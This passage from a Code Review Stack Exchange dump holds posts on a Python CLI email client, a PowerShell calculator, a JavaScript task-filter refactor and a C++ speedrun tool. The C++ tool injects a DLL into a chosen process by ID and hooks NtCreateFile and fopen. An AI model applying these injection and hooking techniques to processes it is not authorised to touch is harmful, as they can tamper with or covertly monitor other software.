# Get the email body.
body = part.get_payload(decode=True).decode()
except:
pass
if content_type == "text/plain" and "attachment" not in content_disposition:
# Print text/plain emails and skip attachments.
print(body)
elif "attachment" in content_disposition:
# Download attachment.
filename = part.get_filename()
if filename:
folder_name = clean(email_subject)
if not os.path.isdir(folder_name):
# Make a folder for this email (named after the subject).
os.mkdir(folder_name)
filepath = os.path.join(folder_name, filename)
# Download attachment and save it.
open(filepath, "wb").write(part.get_payload(decode=True))
else:
# Extract content type of email.
content_type = msg.get_content_type()
# Get the email body.
body = msg.get_payload(decode=True).decode()
if content_type == "text/plain":
# Print only text email parts.
print(body)
if content_type == "text/html":
answer = input("The following email contains HTML. Would you like to open it (y/n)?: ")
while answer != "y" and answer != "n":
print("Error: Invalid answer.")
answer = input("The following email contains HTML. Would you like to download and open it (y/n)?: ")
if answer == "y":
# If it is HTML, create a new HTML file and open it in browser if the user wishes to do so.
folder_name = clean(email_subject)
if not os.path.isdir(folder_name):
# Make a folder for this email (named after the subject).
os.mkdir(folder_name)
filename = "index.html"
filepath = os.path.join(folder_name, filename)
# Write the file.
open(filepath, "w").write(body)
# Open in the default browser.
webbrowser.open(filepath)
print("=" * 100)
imap_server.close()
imap_server.logout()
def add_server():
# Add a server to the settings.
type = input("Type of server (SMTP / IMAP): ")
while type.casefold() != "smtp" and type.casefold() != "imap":
print("Error: Type must be SMTP or IMAP.")
type = input("Type of server (SMTP / IMAP): ")
with open("settings.json", "r+") as settings_file:
name = input("Email provider: ")
settings = json.load(settings_file)
if name in settings and type.casefold() + "_server" in settings[name]:
print("Error: This provider already exists. You can try editing it.")
else:
server = input("Email server: ")
if name in settings:
settings[name][type.casefold() + "_server"] = server
settings_file.seek(0)
json.dump(settings, settings_file, indent=4)
else:
settings[name] = {
type.casefold() + "_server": server
}
settings_file.seek(0)
json.dump(settings, settings_file, indent=4)
def edit_server():
# Edit server in the settings.
type = input("Type of server (SMTP / IMAP): ")
while type.casefold() != "smtp" and type.casefold() != "imap":
print("Error: Type must be SMTP or IMAP.")
type = input("Type of server (SMTP / IMAP): ")
with open("settings.json", "r+") as settings_file:
name = input("Email provider: ")
while not name:
print("Error: Email provider can\'t be empty.")
name = input("Email provider: ")
settings = json.load(settings_file)
if name not in settings or type.casefold() + "_server" not in settings[name]:
print("Error: This provider doesn\'t exist. You can try adding it.")
else:
server = input("Email server: ")
while not server:
print("Error: Email server can\'t be empty. You can try removing it.")
server = input("Email server: ")
settings[name][type.casefold() + "_server"] = server
settings_file.seek(0)
json.dump(settings, settings_file, indent=4)
def remove_server():
with open("settings.json", "r") as settings_file:
name = input("Email provider: ")
while not name:
print("Error: Email provider can\'t be empty.")
name = input("Email provider: ")
settings = json.load(settings_file)
while name not in settings:
print("Error: This provider doesn\'t exist.")
name = input("Email provider: ")
else:
answer = input("Are you sure (y/n)?: ")
while answer != "y" and answer != "n":
print("Error: Invalid answer.")
answer = input("Are you sure (y/n)?: ")
if answer == "y":
del settings[name]
with open("settings.json", "w") as settings_file:
json.dump(settings, settings_file, indent=4)
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument("action", help="view/send/add/edit/remove")
args = arg_parser.parse_args()
# Dictionary that matches the value of action argument to a function that is supposed to be called.
try:
action_to_function = {"view": view_inbox, "send": new_email, "add": add_server, "edit": edit_server, "remove": remove_server}
action_to_function[args.action]()
except KeyError:
arg_parser.print_help()
</code></pre>
<p>settings.json</p>
<pre><code>{
"outlook": {
"smtp_server": "smtp.office365.com",
"imap_server": "imap-mail.outlook.com"
},
"gmail": {
"smtp_server": "smtp.gmail.com",
"imap_server": "imap.gmail.com"
}
}
</code></pre>
|
[] |
[
{
"body": "<h2>Regex substitution</h2>\n<p>Your <code>clean</code> would be much simpler if you used the <code>re</code> module to substitute all non-alphanumeric characters, rather than iterating through the characters yourself, having a ternary and then having to re-join to a string.</p>\n<h2>Email validation</h2>\n<p>This regex:</p>\n<pre><code>[^@]+@[^@]+\\.[^@]+\n</code></pre>\n<p>is, unfortunately, woefully insufficient in guaranteeing a valid email address. A trivial false positive is</p>\n<pre><code>' @ . '\n</code></pre>\n<p>There are <a href=\"https://stackoverflow.com/questions/8022530/how-to-check-for-valid-email-address\">many answers</a> on how to be a little more careful, but this is a "hard problem", so your best bet is to call into a library like <code>py3-validate-email</code>, which can actually issue network calls to validate email addresses.</p>\n<h2>File scope</h2>\n<pre><code>with open("settings.json", "r") as settings_file:\n settings = json.load(settings_file)\n try:\n smtp_server = settings[email[email.find("@") + 1 : email.rfind(".")]]["smtp_server"]\n except KeyError:\n print("Error: Email provider not supported.")\n return\n</code></pre>\n<p>is done with the file as soon as you have <code>settings</code>, so the <code>try</code> and onward should be de-indented.</p>\n<h2>Context management</h2>\n<p>It's good that you have a <code>finally</code> guaranteeing <code>server.quit</code>, but it would be better to put the <code>server</code> in a <code>with</code>, since <code>SMTP</code> is a context manager.</p>\n<p>Your IMAP calls</p>\n<pre><code>imap_server.close()\nimap_server.logout()\n</code></pre>\n<p>are missing similar protection.</p>\n<h2>Method complexity</h2>\n<p><code>view_inbox</code> needs to be broken up into subroutines. It's way too long and complex right now.</p>\n<h2>Built-in shadowing</h2>\n<pre><code>type = input("Type of server (SMTP / IMAP): ")\n</code></pre>\n<p>is a bad idea. <code>type</code> is a critical built-in that you've now made inaccessible in the rest of <code>add_server</code>.</p>\n<h2>Escaping</h2>\n<pre><code> print("Error: Email provider can\\'t be empty.")\n</code></pre>\n<p>doesn't need a backslash since you have double quotes.</p>\n<h2>Main guard</h2>\n<p>From <code>arg_parser</code> onward, that needs to live in a <code>main()</code> method protected by a <code>__name__</code> guard.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T22:20:21.623",
"Id": "255305",
"ParentId": "255246",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T12:26:44.560",
"Id": "255246",
"Score": "3",
"Tags": [
"python",
"console",
"email",
"client"
],
"Title": "Python - Basic CLI Email Client"
}
|
255246
|
<p>I found a project that aims to implement a CLI calculator app in as many different languages and ways as possible. Having a little experience in PS, I tried my hand at it. The requirements are as follows:</p>
<ul>
<li>Use a set interface (that is correctly done here)</li>
<li>Must use functions</li>
<li>No builtins, unless it's to interact with the terminal</li>
<li>Must have comments</li>
<li>Mustn't throw an error on input or keyboard interrupt</li>
</ul>
<p>I don't have an idea about PS best practices, so I'm hoping for some input there. Anyways, here's what I came up with:</p>
<pre><code>
# Ask the user to input a number using the given prompt string
function Get-Double {
param (
$Prompt
)
do {
$inp = Read-Host -Prompt $Prompt
# Try to cast, if that fails $num will contain null
$num = $inp -as [Double]
$ok = $num -ne $NULL
if (-not $ok) {
Write-Host "You must enter a numeric value" -ForegroundColor Red
}
# try until the user gets it right
} until ($ok)
return $num
}
# Do a exponentiation using the given base and exponent
function Calculate-Exponent {
param (
$Base,
$Exp
)
$res = 1
# If the exponent is < 0, flip the sign of it to allow the same loop to be used
# Also use the inverse base in that case since x/y = x*(1/y)
if ($Exp -lt 0) {
$Base = 1/$Base;
$Exp *= -1;
}
for ($i = 0; $i -lt $Exp; $i++) {
$res *= $Base
}
return $res
}
while (1) {
clear
Write-Host "PowerShell CLI calc v1.0" -ForegroundColor Yellow
Write-Host "Choose a function"
Write-Host "1 - Add 3 - Multiply 5 - Exponentiation"
Write-Host "2 - Subtract 4 - Divide"
do {
# The Read-Host cmdlet puts a ":" after the supplied prompt when using -Prompt.
# If we do it like this, we can get the requested custom prompt without that
Write-Host -nonewline ">>> "
$mode = Read-Host
#match a single 1 2 3 4 or 5
$ok = $mode -match "^[1-5]$"
if (-not $ok) {
Write-Host "Please enter a number between 1 and 5" -ForegroundColor Red
}
} until ($ok)
# Newline for formatting
Write-Host ""
# Array definitions so that we can use the inputted mode value easily
$modes = @("Addition", "Subtraction", "Multiplication", "Division", "Exponentation")
$signs = @("+", "-", "*", "/", "^")
Write-Host $("{0} - Please choose two numbers a and b to calculate a {1} b" -f $modes[$mode-1], $signs[$mode-1])
$a = Get-Double -Prompt "a"
$b = Get-Double -Prompt "b"
switch ($mode) {
1 {$res = $a + $b; break}
2 {$res = $a - $b; break}
3 {$res = $a * $b; break}
4 {$res = $a / $b; break}
5 {$res = Calculate-Exponent -Base $a -Exp $b; break}
}
Write-Host $("Result: {0} {1} {2} = {3}" -f $a, $signs[$mode-1], $b, $res)
Write-Host ""
Write-Host "Type Q/q to quit or press Enter to restart"
do {
Write-Host -NoNewline ">>> "
$inp = $NULL
$inp = Read-Host
# Match a single q or Q
if ($inp -match "^[qQ]$") {
exit;
}
# Pressing enter results in the input being of length 0
$ok = $inp.Length -eq 0
if (-not $ok) {
Write-Host "Please type either Q/q to quit or press Enter to restart!" -ForegroundColor Red
}
} until($ok);
}
</code></pre>
<p>UPDATE
Fixed <code>Calculate-Exponent</code>, shold now return correct result for any exponent</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T18:20:07.437",
"Id": "503696",
"Score": "0",
"body": "First, try running `Invoke-ScriptAnalyzer -Path .\\YourScript.ps1`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T18:41:35.173",
"Id": "503698",
"Score": "1",
"body": "`Calculate-Exponent` does not return right result, e.g. `Calculate-Exponent 2 3` returns 18 (should be 8, imho)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T22:36:19.237",
"Id": "503707",
"Score": "1",
"body": "that's embarassing, I flipped base and exponent... fixed"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T22:50:48.457",
"Id": "503709",
"Score": "0",
"body": "You should initialize `$res = 1` instead of `$res = $Base` (and change loop variable `$i` range appropriately) as $a^0 => 1. Moreover, fix the `$b -lt 0` case."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T14:42:01.383",
"Id": "255251",
"Score": "1",
"Tags": [
"beginner",
"calculator",
"powershell"
],
"Title": "PowerShell CLI calculator"
}
|
255251
|
<p><a href="https://github.com/speedrun-program/load-extender" rel="nofollow noreferrer">https://github.com/speedrun-program/load-extender</a></p>
<p>This is the previous post: <a href="https://codereview.stackexchange.com/questions/254528/c-programs-for-windows-and-linux-which-let-you-lengthen-the-time-it-takes-to-a">C++ programs for Windows and Linux which let you lengthen the time it takes to access files REVISED VERSION</a></p>
<p>To compile this, you need to download and include robin_hood.h, and on Windows you also need to install EasyHook.</p>
<p>I tried to add everything mentioned in the answer there except using an obj / o file because I read that you have to include something twice if it’s used in both files, so it seemed like it would make the size a lot bigger because the file for robin_hood map is big. I also would have had to put some of the functions in their own file because I want them to be compiled without printf calls unless it’s the testing program. And I also couldn’t figure out how to get it to work, the main file couldn’t see the things from the other file. But I’ll try again to get it to work if someone says it would still really be a good idea.</p>
<p>I made this because it helps us save non-load time in a speedrun.</p>
<p>I want this to be revised as well as possible because I don’t have Mac OS, so I need to ask someone else to compile it for that OS. So I want it to be written as well as I can get it so I won’t have to ask people to compile it multiple times due to revisions.</p>
<p>class_and_functions.h:</p>
<pre class="lang-cpp prettyprint-override"><code>#include <stdint.h>
#include <iostream>
#include <fstream>
#include <string>
#include <atomic>
#include <vector>
#include <exception>
class delay_sequence
{
public:
std::atomic<std::size_t> index;
std::vector<std::chrono::milliseconds> delays;
bool repeat;
bool reset_all;
delay_sequence() { index = 0; repeat = false; reset_all = false; }
delay_sequence(const delay_sequence& copy_sequence)
{
index = copy_sequence.index.load();
delays = copy_sequence.delays;
repeat = copy_sequence.repeat;
reset_all = copy_sequence.reset_all;
}
delay_sequence& operator=(delay_sequence copy_sequence)
{
index = copy_sequence.index.load();
delays = copy_sequence.delays;
repeat = copy_sequence.repeat;
reset_all = copy_sequence.reset_all;
return *this;
}
};
// find out how much space to reserve for delays vector
static std::size_t setup_delay_sequence(delay_sequence& current_sequence, std::wstring& line, std::size_t start_position)
{
std::size_t delay_sequence_length = 1;
for (std::size_t line_position = start_position; line_position < line.length(); line_position++)
{
if (line[line_position] == L'/')
{
++delay_sequence_length;
}
else if (line[line_position] == L'-') // no more delays past reset point
{
--delay_sequence_length; // the last slash was before the reset point, so it won't go in the vector
if (delay_sequence_length == 0)
{
current_sequence.reset_all = true;
break;
}
current_sequence.repeat = true;
break;
}
}
return delay_sequence_length;
}
// this will let the user write something like "1,500"
static void remove_non_digits(std::wstring& delay_substr)
{
std::size_t position_to_write = 0;
for (std::size_t i = 0; i < delay_substr.length(); i++)
{
if (isdigit(delay_substr[i]))
{
delay_substr[position_to_write] = delay_substr[i];
++position_to_write;
}
}
delay_substr.erase(position_to_write);
}
static void set_delays(std::vector<std::chrono::milliseconds>& delays, std::wstring& line, std::size_t delay_sequence_length, std::size_t slash_position)
{
static bool too_big_delay_seen = false; // static so function will remember if it already printed the message in a previous call
delays.reserve(delay_sequence_length);
unsigned long long max_delay = std::chrono::milliseconds::max().count();
while (slash_position != std::wstring::npos && delays.size() != delay_sequence_length)
{
std::size_t next_slash_position = line.find(L'/', slash_position + 1);
std::wstring delay_substr = line.substr(slash_position + 1, next_slash_position - slash_position - 1);
remove_non_digits(delay_substr);
if (delay_substr.length() == 0) // no numbers were written
{
delays.push_back(std::chrono::milliseconds(0));
slash_position = next_slash_position;
continue;
}
try
{
unsigned long long delay_time = std::stoull(delay_substr);
if (delay_time > max_delay)
{
throw std::out_of_range(NULL);
}
delays.push_back(std::chrono::milliseconds(delay_time));
}
catch (const std::out_of_range& oor)
{
if (!too_big_delay_seen)
{
printf("delay time can only be %llu milliseconds\n", max_delay);
too_big_delay_seen = true;
}
delays.push_back(std::chrono::milliseconds(max_delay));
}
slash_position = next_slash_position;
}
}
static void set_key_and_value(rh::unordered_flat_map<std::wstring, delay_sequence>& my_rh_map, std::wstring& line)
{
std::size_t slash_position = line.find(L'/');
if (slash_position == std::wstring::npos) // no slash so no delay sequence so line isn't valid
{
return;
}
std::size_t position_before_whitespace = line.find_last_not_of(L" \t\f\v\r/", slash_position);
if (position_before_whitespace == std::wstring::npos) // the entire file name was whitespace
{
return;
}
std::wstring file_name = line.substr(0, position_before_whitespace + 1);
delay_sequence current_sequence;
std::size_t delay_sequence_length = setup_delay_sequence(current_sequence, line, slash_position + 1);
set_delays(current_sequence.delays, line, delay_sequence_length, slash_position);
my_rh_map[file_name] = current_sequence;
}
static bool rh_map_setup(rh::unordered_flat_map<std::wstring, delay_sequence>& my_rh_map)
{
std::size_t line_count = 1;
std::wstring line;
std::wifstream my_file;
my_file.open("files_and_delays.txt");
if (my_file.fail())
{
printf("couldn't open files_and_delays.txt\n");
return false;
}
while (std::getline(my_file, line) && line_count < SIZE_MAX)
{
++line_count;
}
if (line_count == SIZE_MAX)
{
printf("can't store %zu delays\n", SIZE_MAX);
return false;
}
my_rh_map.reserve(line_count); // overestimates slightly due to extra newlines and starting at 1
my_file.clear();
if (!my_file.seekg(0, std::ios::beg))
{
printf("seekg on files_and_delays.txt failed\n");
return false;
}
line.clear();
while (std::getline(my_file, line))
{
set_key_and_value(my_rh_map, line);
line.clear();
}
my_file.close();
return true;
}
static void delay_file(rh::unordered_flat_map<std::wstring, delay_sequence>& my_rh_map, std::wstring& file_name)
{
rh::unordered_flat_map<std::wstring, delay_sequence>::iterator rh_map_iter = my_rh_map.find(file_name);
if (rh_map_iter != my_rh_map.end()) // key found
{
printf("%ls successfully found in hash map\n", file_name.c_str());
delay_sequence& found_sequence = rh_map_iter->second;
if (found_sequence.reset_all) // reset all delay sequences
{
for (auto& it : my_rh_map)
{
it.second.index = 0;
}
printf("all delay sequences reset\n");
}
else
{
if (found_sequence.repeat) // reset delay sequence
{
if (found_sequence.index.load() > 0 && found_sequence.index.load() % found_sequence.delays.size() == 0)
{
printf("%ls delay sequence reset\n", file_name.c_str());
}
found_sequence.index = found_sequence.index.load() % found_sequence.delays.size();
}
if (found_sequence.index.load() < found_sequence.delays.size())
{
// this is defined in the main file so it won't sleep if being used with load_extender_test.exe
#ifdef THIS_IS_NOT_THE_TEST_PROGRAM
std::this_thread::sleep_for(found_sequence.delays[found_sequence.index.load()]);
#else
unsigned long long total_milliseconds = found_sequence.delays[found_sequence.index.load()].count();
unsigned long long total_seconds = total_milliseconds / 1000;
short remaining_milliseconds = total_milliseconds % 1000;
printf("sleep for %llu second(s) and %d millisecond(s)\n", total_seconds, remaining_milliseconds);
#endif
found_sequence.index += 1;
}
else // delay sequence already finished
{
printf("%ls delay sequence already finished\n", file_name.c_str());
}
}
}
else // key not found
{
printf("%ls not found in hash map\n", file_name.c_str());
}
}
</code></pre>
<p>load_extender_test.cpp:</p>
<pre class="lang-cpp prettyprint-override"><code>#include <chrono>
#include <thread>
#include "robin_hood.h"
// thank you for making this hash map, martinus.
// here's his github: https://github.com/martinus/robin-hood-hashing
namespace rh = robin_hood;
#include "class_and_functions.h" // included here so robin_hood alias can be used
static void print_rh_map(rh::unordered_flat_map<std::wstring, delay_sequence>& my_rh_map)
{
printf("\n---------- hash map current state ----------\n");
for (auto& it : my_rh_map)
{
printf("%ls / ", it.first.c_str());
delay_sequence& sequence_to_print = it.second;
for (std::size_t i = 0; i < sequence_to_print.delays.size(); i++)
{
// casted to unsigned long long to get rid of warning message
// visual studio on windows wants %lu, but gcc on linux wants %llu
printf("%llu ", (unsigned long long)sequence_to_print.delays[i].count());
}
if (sequence_to_print.reset_all)
{
printf("RESET_ALL ");
}
else if (sequence_to_print.repeat)
{
printf("REPEAT ");
}
printf(": INDEX %zu", sequence_to_print.index.load());
printf("\n");
}
printf("---------------------------------------------\n\n");
}
static void test_all_inputs()
{
#ifdef _WIN32
std::wstring path_separator = L"\\";
#else
std::wstring path_separator = L"/";
#endif
std::wstring test_path;
std::wifstream input_test_file;
input_test_file.open("test_input.txt");
if (input_test_file.fail())
{
printf("couldn't open test_input.txt\n");
return;
}
rh::unordered_flat_map<std::wstring, delay_sequence> my_rh_map;
bool setup_succeeded = rh_map_setup(my_rh_map);
if (setup_succeeded)
{
print_rh_map(my_rh_map);
while (std::getline(input_test_file, test_path))
{
printf("testing path: %ls\n", test_path.c_str());
// +1 so separator isn't included
// If separator isn't found, the whole wstring is checked because npos is -1
std::wstring test_file = test_path.substr(test_path.rfind(path_separator) + 1);
delay_file(my_rh_map, test_file);
print_rh_map(my_rh_map);
test_path.clear();
}
}
else
{
printf("setup failed\n");
}
input_test_file.close();
}
int main(int argc, char* argv[])
{
printf("\ntest start\n");
test_all_inputs();
printf("test finished, press Enter to exit\n");
std::wstring input;
std::getline(std::wcin, input);
return 0;
}
</code></pre>
<p>load_extender.cpp</p>
<pre class="lang-cpp prettyprint-override"><code>#include <chrono>
#include <thread>
#ifdef _WIN32
#define NOMINMAX // allows std::chrono::milliseconds::max().count();
#include <Windows.h>
// easyhook.h installed with NuGet
// https://easyhook.github.io/documentation.html
#include <easyhook.h>
#else
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <dlfcn.h>
#endif
#include "robin_hood.h"
// thank you for making this hash map, martinus.
// here's his github: https://github.com/martinus/robin-hood-hashing
#ifndef THIS_IS_NOT_THE_TEST_PROGRAM
#define THIS_IS_NOT_THE_TEST_PROGRAM
#endif
#ifdef THIS_IS_NOT_THE_TEST_PROGRAM
#define printf(fmt, ...) (0)
#endif
namespace rh = robin_hood;
#include "class_and_functions.h" // included here so robin_hood alias can be used
#ifdef _WIN32
static NTSTATUS WINAPI NtCreateFileHook(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength)
{
static rh::unordered_flat_map<std::wstring, delay_sequence> my_rh_map;
static bool setup_succeeded = rh_map_setup(my_rh_map);
if (setup_succeeded)
{
std::wstring file_path = ObjectAttributes->ObjectName->Buffer;
// +1 so '\' isn't included. If '\' isn't found, the whole wstring is checked because npos is -1
std::wstring file_name = file_path.substr(file_path.rfind(L"\\") + 1);
delay_file(my_rh_map, file_name);
}
return NtCreateFile(
FileHandle,
DesiredAccess,
ObjectAttributes,
IoStatusBlock,
AllocationSize,
FileAttributes,
ShareAccess,
CreateDisposition,
CreateOptions,
EaBuffer,
EaLength);
}
extern "C" void __declspec(dllexport) __stdcall NativeInjectionEntryPoint(REMOTE_ENTRY_INFO * inRemoteInfo);
void __stdcall NativeInjectionEntryPoint(REMOTE_ENTRY_INFO* inRemoteInfo) {
HOOK_TRACE_INFO hHook1 = { NULL };
LhInstallHook(
GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtCreateFile"),
NtCreateFileHook,
NULL,
&hHook1);
ULONG ACLEntries[1] = { 0 };
LhSetExclusiveACL(ACLEntries, 1, &hHook1);
}
#else
FILE* fopen(const char* path, const char* mode)
{
static auto original_fopen = reinterpret_cast<FILE * (*)(const char* path, const char* mode)>(dlsym(RTLD_NEXT, "fopen"));
static rh::unordered_flat_map<std::wstring, delay_sequence> my_rh_map;
static bool setup_succeeded = rh_map_setup(my_rh_map);
if (setup_succeeded)
{
// finding part of path which shows file name
std::size_t file_name_index = SIZE_MAX; // overflows to 0 and checks entire path if no slash is found
std::size_t end_index = 0;
for (; path[end_index] != '\0'; end_index++)
{
if (path[end_index] == '/')
{
file_name_index = end_index;
}
}
std::wstring file_name(&path[file_name_index + 1], &path[end_index]);
delay_file(my_rh_map, file_name);
}
return original_fopen(path, mode);
}
#endif
</code></pre>
<p>load_extender_injector.cpp (only used on Windows, LD_PRELOAD and DYLD_INSERT_LIBRARIES can be used on Linux and Max OS):</p>
<pre class="lang-cpp prettyprint-override"><code>#include <tchar.h>
#include <iostream>
#include <string>
#include <Windows.h>
// easyhook.h installed with NuGet
// https://easyhook.github.io/documentation.html
#include <easyhook.h>
void get_exit_input()
{
std::wcout << "Press Enter to exit";
std::wstring input;
std::getline(std::wcin, input);
std::getline(std::wcin, input);
}
int _tmain(int argc, _TCHAR* argv[])
{
WCHAR* dllToInject32 = NULL;
WCHAR* dllToInject64 = NULL;
LPCWSTR lpApplicationName = argv[0];
DWORD lpBinaryType;
if (GetBinaryType(lpApplicationName, &lpBinaryType) == 0 || (lpBinaryType != 0 && lpBinaryType != 6))
{
std::wcout << "ERROR: This exe wasn't identified as 32-bit or as 64-bit";
get_exit_input();
return 1;
}
else if (lpBinaryType == 0)
{
dllToInject32 = (WCHAR*)L"load_extender_32.dll";
}
else
{
dllToInject64 = (WCHAR*)L"load_extender_64.dll";
}
DWORD processId;
std::wcout << "Enter the target process Id: ";
std::cin >> processId;
wprintf(L"Attempting to inject dll\n\n");
// Inject dllToInject into the target process Id, passing
// freqOffset as the pass through data.
NTSTATUS nt = RhInjectLibrary(
processId, // The process to inject into
0, // ThreadId to wake up upon injection
EASYHOOK_INJECT_DEFAULT,
dllToInject32, // 32-bit
dllToInject64, // 64-bit
NULL, // data to send to injected DLL entry point
0 // size of data to send
);
if (nt != 0)
{
printf("RhInjectLibrary failed with error code = %d\n", nt);
PWCHAR err = RtlGetLastErrorString();
std::wcout << err << "\n";
get_exit_input();
return 1;
}
else
{
std::wcout << L"Library injected successfully.\n";
}
get_exit_input();
return 0;
}
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T16:53:11.833",
"Id": "255255",
"Score": "1",
"Tags": [
"c++",
"beginner"
],
"Title": "lengthening the time it takes to access files REVISION #2"
}
|
255255
|
<p>I create this menu filter component:</p>
<p><img src="https://i.imgur.com/zWRAIFU.png" alt="Menu" /></p>
<p>with this menu, in practice, you can filter on a cards list feeling free to choose different filters at the same time; the cards list returned will be the results of all options selected.</p>
<p>to generate this kind of filter I filter on filtered option and so on, in other words like so:</p>
<pre><code>return props.tasks.filter(x => {
if (props.key.includes('task-status')) {
return props.status.some(status => x['task-status'] === status)
}
return true
}).filter(x => {
if (props.key.includes('task-priority')) {
return props.priority.reduce((vres, val) => vres.concat(val), []).some(priority => x['task-priority'] === priority)
}
return true;
}).filter(x => {
if (props.key.includes('task-actual-owner')) {
return props.users.some(user => x['task-actual-owner'] === user)
}
return true;
}).filter(x => {
if (props.key.includes('task-expiration-time')) {
if (x['task-expiration-time'] === null) {
return false;
}
const f = props.expiration.flat();
return x['task-expiration-time']['java.util.Date'] >= f[0] && x['task-expiration-time']['java.util.Date'] <= f[1]
}
return true;
})
</code></pre>
<p>So the entire list of cards come from this array of objects:</p>
<pre><code>array = [
{
"task-id": 142,
"task-name": "Task",
"task-subject": "",
"task-description": "",
"task-status": "Ready",
"task-priority": 0,
"task-is-skipable": false,
"task-actual-owner": null,
"task-created-by": null,
"task-created-on": {
"java.util.Date": 1606322625000
},
"task-activation-time": {
"java.util.Date": 1606322625000
},
"task-expiration-time": {
"java.util.Date": 1200832320000
},
"task-proc-inst-id": 187,
"task-proc-def-id": "businessProcess.main",
"task-container-id": "businessProcess_1.0.1-SNAPSHOT",
"task-parent-id": -1,
"correlation-key": "187",
"process-type": 1
},
{
"task-id": 141,
"task-name": "Task",
"task-subject": "",
"task-description": "",
"task-status": "InProgress",
"task-priority": 9,
"task-is-skipable": false,
"task-actual-owner": "john.doe",
"task-created-by": null,
"task-created-on": {
"java.util.Date": 1606322577000
},
"task-activation-time": {
"java.util.Date": 1606322577000
},
"task-expiration-time": {
"java.util.Date": 1674200580000
},
"task-proc-inst-id": 186,
"task-proc-def-id": "businessProcess.main",
"task-container-id": "businessProcess_1.0.1-SNAPSHOT",
"task-parent-id": -1,
"correlation-key": "186",
"process-type": 1
},
{
"task-id": 140,
"task-name": "Task",
"task-subject": "",
"task-description": "",
"task-status": "Reserved",
"task-priority": 6,
"task-is-skipable": false,
"task-actual-owner": "peter.griffin",
"task-created-by": null,
"task-created-on": {
"java.util.Date": 1606322524000
},
"task-activation-time": {
"java.util.Date": 1606322524000
},
"task-expiration-time": {
"java.util.Date": 1863598080000
},
"task-proc-inst-id": 185,
"task-proc-def-id": "businessProcess.main",
"task-container-id": "businessProcess_1.0.1-SNAPSHOT",
"task-parent-id": -1,
"correlation-key": "185",
"process-type": 1
},
{
"task-id": 139,
"task-name": "Task",
"task-subject": "",
"task-description": "",
"task-status": "Reserved",
"task-priority": 0,
"task-is-skipable": false,
"task-actual-owner": "homer.simpson",
"task-created-by": null,
"task-created-on": {
"java.util.Date": 1606322446000
},
"task-activation-time": {
"java.util.Date": 1606322446000
},
"task-expiration-time": null,
"task-proc-inst-id": 184,
"task-proc-def-id": "businessProcess.main",
"task-container-id": "businessProcess_1.0.1-SNAPSHOT",
"task-parent-id": -1,
"correlation-key": "184",
"process-type": 1
},
{
"task-id": 138,
"task-name": "Task",
"task-subject": "",
"task-description": "",
"task-status": "Reserved",
"task-priority": 0,
"task-is-skipable": false,
"task-actual-owner": "jim.carrey",
"task-created-by": null,
"task-created-on": {
"java.util.Date": 1606322412000
},
"task-activation-time": {
"java.util.Date": 1606322412000
},
"task-expiration-time": null,
"task-proc-inst-id": 183,
"task-proc-def-id": "businessProcess.main",
"task-container-id": "businessProcess_1.0.1-SNAPSHOT",
"task-parent-id": -1,
"correlation-key": "183",
"process-type": 1
}
]
</code></pre>
<p>and the array of objects created by the multiple options choose can be like this (for example):</p>
<pre><code>[
{
key: "task-status",
label: "Waiting For",
status: "Ready"
},
{
key: "task-status",
label: "Picked Up",
status: "Reserved"
}
{
key: "task-priority",
label: "Low",
priority: [0, 1, 2, 3, 4]
},
{
key: "task-actual-owner",
label: "John Doe",
owner: "john.doe"
},
{
key: "task-expiration-time",
expiration: [1611598726000, 1611609526000]
}
];
</code></pre>
<p>All works properly but I'm trying to find a way to refactor the first function...(<code>return props.tasks.filter(x => { ...</code>)
Is there a way to achieve this?</p>
|
[] |
[
{
"body": "<p>There are two main things you can do to clean it up a bit:</p>\n<ol>\n<li>Instead of chaining a bunch of <code>.filter()</code>s together, create a list of the filter functions you wish to use, then only use the selected ones.</li>\n<li>You can break up the function a bit by pulling out and naming each of the filter functions. This can make it easier to understand at a glance what logic your function is doing.</li>\n</ol>\n<p>Here's one way to code it up after applying those two ideas.\n(The following is untested, but should give an idea)</p>\n<pre><code>function applyFilters(props) {\n const filters = [];\n if (props.key.includes('task-status')) {\n filters.push(createFilterFor.status(props));\n }\n if (props.key.includes('task-priority')) {\n filters.push(createFilterFor.priority(props));\n }\n if (props.key.includes('task-actual-owner')) {\n filters.push(createFilterFor.owner(props));\n }\n if (props.key.includes('task-expiration-time')) {\n filters.push(createFilterFor.expirationTime(props));\n }\n\n return props.tasks.filter(combineFilters(filters));\n}\n\nconst combineFilters = filters => (\n entry => filters.every(filter => filter(entry))\n);\n\nconst createFilterFor = {\n status: ({ status }) => (\n task => status.some(statusText => task['task-status'] === statusText)\n ),\n priority: ({ priority }) => (\n task => priority.flat(1).some(priorityText => task['task-priority'] === priorityText)\n ),\n owner: ({ users }) => (\n task => users.some(user => task['task-actual-owner'] === user)\n ),\n expirationTime: ({ expiration }) => (\n task => {\n if (!task['task-expiration-time']) return false;\n\n const taskExpiration = task['task-expiration-time']['java.util.Date'];\n const [start, end] = expiration.flat();\n return taskExpiration >= start && taskExpiration <= end;\n }\n ),\n};\n</code></pre>\n<p>If you find yourself adding a lot of filter functions that follow this pattern, you could add a layer of abstraction that allows you to remove the if-then chain, but this makes the code more unreadable and less flexible.</p>\n<p><div class=\"snippet\" data-lang=\"js\" 